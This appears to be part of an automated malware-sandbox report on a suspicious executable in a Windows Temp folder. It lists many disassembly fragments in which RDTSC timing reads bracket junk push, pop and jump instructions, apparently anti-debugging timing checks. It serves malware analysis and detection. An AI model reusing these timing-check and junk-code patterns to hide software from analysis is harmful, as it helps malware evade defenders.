Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C320A5 second address: C320C8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEC30BFF4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FEC30BFF4E3h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C320C8 second address: C3214D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jng 00007FEC30B390CCh 0x00000011 xor dword ptr [ebp+1246FE54h], ecx 0x00000017 mov ebx, dword ptr [ebp+124820FFh] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007FEC30B390C8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 cmc 0x00000038 add eax, ebx 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FEC30B390C8h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 sub dword ptr [ebp+122D3B4Ch], eax 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FEC30B390D6h 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7A8B1 second address: C7A8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7A8B7 second address: C7A8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7AA70 second address: C7AA7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FEC30BFF4D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7AA7A second address: C7AA7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F62D second address: C7F637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F637 second address: C7F63D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7EB6A second address: C7EB70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F0DF second address: C7F117 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEC30B390C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FEC30B390CAh 0x00000012 jne 00007FEC30B390DCh 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F117 second address: C7F159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC30BFF4E5h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEC30BFF4E6h 0x00000012 jmp 00007FEC30BFF4DFh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F159 second address: C7F169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F169 second address: C7F173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C7F173 second address: C7F177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C875B2 second address: C875BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEC30BFF4D6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C85652 second address: C856AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEC30B390C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FEC30B390D6h 0x00000013 jmp 00007FEC30B390D8h 0x00000018 jmp 00007FEC30B390D0h 0x0000001d jc 00007FEC30B390C6h 0x00000023 popad 0x00000024 pop edi 0x00000025 pushad 0x00000026 push ebx 0x00000027 pushad 0x00000028 popad 0x00000029 pop ebx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C856AE second address: C856B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C85F35 second address: C85F3F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEC30B390D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C85F3F second address: C85F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEC30BFF4D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC30BFF4DFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C85F5C second address: C85F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C85F60 second address: C85F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007FEC30BFF4DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C86268 second address: C8626E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8626E second address: C86278 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEC30BFF4D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C867A8 second address: C867AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C86D16 second address: C86D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C86D1B second address: C86D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30B390D9h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8728A second address: C872C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEC30BFF4E3h 0x0000000b push edx 0x0000000c jmp 00007FEC30BFF4E5h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007FEC30BFF4D6h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C907E7 second address: C907ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8FA22 second address: C8FA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8FD22 second address: C8FD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8FD28 second address: C8FD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8FD2C second address: C8FD36 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC30B390C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8FD36 second address: C8FD3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C8FEBB second address: C8FED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390D0h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9007B second address: C9008C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEC30BFF4DAh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9008C second address: C90092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C901F9 second address: C90201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C90201 second address: C9020A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9020A second address: C90210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9051C second address: C90536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FEC30B390CAh 0x0000000f popad 0x00000010 push ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C90536 second address: C9054C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEC30BFF4DFh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9054C second address: C90550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C98A98 second address: C98AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEC30BFF4FFh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C98BEA second address: C98BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30B390CEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C98BFE second address: C98C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C99395 second address: C993C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEC30B390D6h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jng 00007FEC30B390C6h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C993C1 second address: C993CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9F1C4 second address: C9F1C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9F1C8 second address: C9F1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9F494 second address: C9F499 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C9F499 second address: C9F49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB10DE second address: CB10E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB10E2 second address: CB10F0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC30BFF4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB10F0 second address: CB1125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FEC30B390D0h 0x0000000d jmp 00007FEC30B390D2h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 jne 00007FEC30B390C6h 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB0CB1 second address: CB0CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FEC30BFF4D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB0CC0 second address: CB0CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB0E5A second address: CB0E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB0E5E second address: CB0E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB0E68 second address: CB0E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB0E6E second address: CB0E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB58E7 second address: CB58EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB58EB second address: CB5923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FEC30B390CEh 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FEC30B390D9h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB5923 second address: CB5929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CB6E56 second address: CB6E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CBF575 second address: CBF590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEC30BFF4D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FEC30BFF4DBh 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC684E second address: CC6875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FEC30B390CFh 0x00000008 pop eax 0x00000009 jno 00007FEC30B390CEh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC6875 second address: CC687B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC687B second address: CC6881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC6881 second address: CC6887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC6887 second address: CC6895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 ja 00007FEC30B390C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC54F5 second address: CC54F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC562F second address: CC5639 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEC30B390C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC58D8 second address: CC58E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC58E1 second address: CC58E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC58E7 second address: CC58ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC58ED second address: CC58F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEC30B390C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC80F1 second address: CC80F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC80F5 second address: CC8100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7F4A second address: CC7F66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEC30BFF4E5h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7F66 second address: CC7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEC30B390D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007FEC30B390C6h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: CC7F93 second address: CC7F97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
